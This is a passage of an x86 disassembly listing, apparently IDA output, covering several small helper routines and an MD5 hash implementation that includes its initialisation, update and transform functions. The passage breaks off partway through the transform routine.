		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43492C:				; CODE XREF: sub_4348A0+12j
		pop	esi
		retn
sub_4348A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434960	proc near		; CODE XREF: sub_401609j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434985
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434985:				; CODE XREF: sub_434960+15j
		nop
		call	near ptr 27306DDh
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4349AE
		push	esi
		mov	edi, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349AE:				; CODE XREF: sub_434960+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4349CB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349CB:				; CODE XREF: sub_434960+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_434960	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434A00	proc near		; CODE XREF: sub_401AB4j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_434A90
		cmp	[ebx+0Ch], ebp
		jz	short loc_434A6C
		cmp	[ebx+4], ebp
		jz	short loc_434A6C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A6C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_434A5F
		push	edi


loc_434A33:				; CODE XREF: sub_434A00+5Cj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A5A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_434A5A:				; CODE XREF: sub_434A00+3Ej
		cmp	esi, ebp
		jnz	short loc_434A33
		pop	edi


loc_434A5F:				; CODE XREF: sub_434A00+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_434A6C:				; CODE XREF: sub_434A00+13j
					; sub_434A00+18j ...
		mov	eax, [ebx]
		push	eax
		call	near ptr 2730000h
		nop
		cmp	[ebx+4], ebp
		jz	short loc_434A86
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_402252
		add	esp, 4


loc_434A86:				; CODE XREF: sub_434A00+78j
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_434A90:				; CODE XREF: sub_434A00+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_434A00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434AD0	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_5103C4
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_434AF4
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_434B03
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434AF4:				; CODE XREF: sub_434AD0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_434B03
		mov	eax, ebx


loc_434B03:				; CODE XREF: sub_434AD0+1Aj
					; sub_434AD0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_434B65
		test	eax, eax
		jz	short loc_434B52
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_434B52
		test	ebx, ebx
		jz	short loc_434B52
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_434B3D


loc_434B27:				; CODE XREF: sub_434AD0+65j
		cmp	[ecx+8], esi
		jz	short loc_434B39
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_434B27
		jmp	short loc_434B3D
; ---------------------------------------------------------------------------


loc_434B39:				; CODE XREF: sub_434AD0+5Aj
		test	ecx, ecx
		jnz	short loc_434B52


loc_434B3D:				; CODE XREF: sub_434AD0+55j
					; sub_434AD0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DDE
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_434B65


loc_434B52:				; CODE XREF: sub_434AD0+3Cj
					; sub_434AD0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 2740C56h
		test	eax, eax
		jnz	short loc_434B65
		mov	edi, 0Bh


loc_434B65:				; CODE XREF: sub_434AD0+38j
					; sub_434AD0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_434AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434BA0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27C093Ah
		mov	esi, eax
		call	sub_438250
sub_434BA0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	74E89051h, 56022EC0h, 0E890D88Bh
		dd 22EC1E3h, 36CAE857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_434BF0	proc near		; CODE XREF: sub_401A69j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_434BF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434C30	proc near		; CODE XREF: sub_401C26j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_434C5B
		inc	dword ptr [esi+14h]


loc_434C5B:				; CODE XREF: sub_434C30+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_434CB9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_435A30
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_434DA0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_434CB5


loc_434C99:				; CODE XREF: sub_434C30+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_434DA0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_434C99


loc_434CB5:				; CODE XREF: sub_434C30+67j
		xor	eax, eax
		jmp	short loc_434CBB
; ---------------------------------------------------------------------------


loc_434CB9:				; CODE XREF: sub_434C30+41j
		xor	ebp, ebp


loc_434CBB:				; CODE XREF: sub_434C30+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_435A30
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_434C30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434D10	proc near		; CODE XREF: sub_402176j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_435950
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_434D43
		mov	ecx, 78h


loc_434D43:				; CODE XREF: sub_434D10+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; "─"
		push	edi
		call	sub_401C26
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C26
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_435950
		push	58h
		push	0
		push	edi
		call	sub_435A60
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_434D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434DA0	proc near		; CODE XREF: sub_434C30+58p
					; sub_434C30+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4359C0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
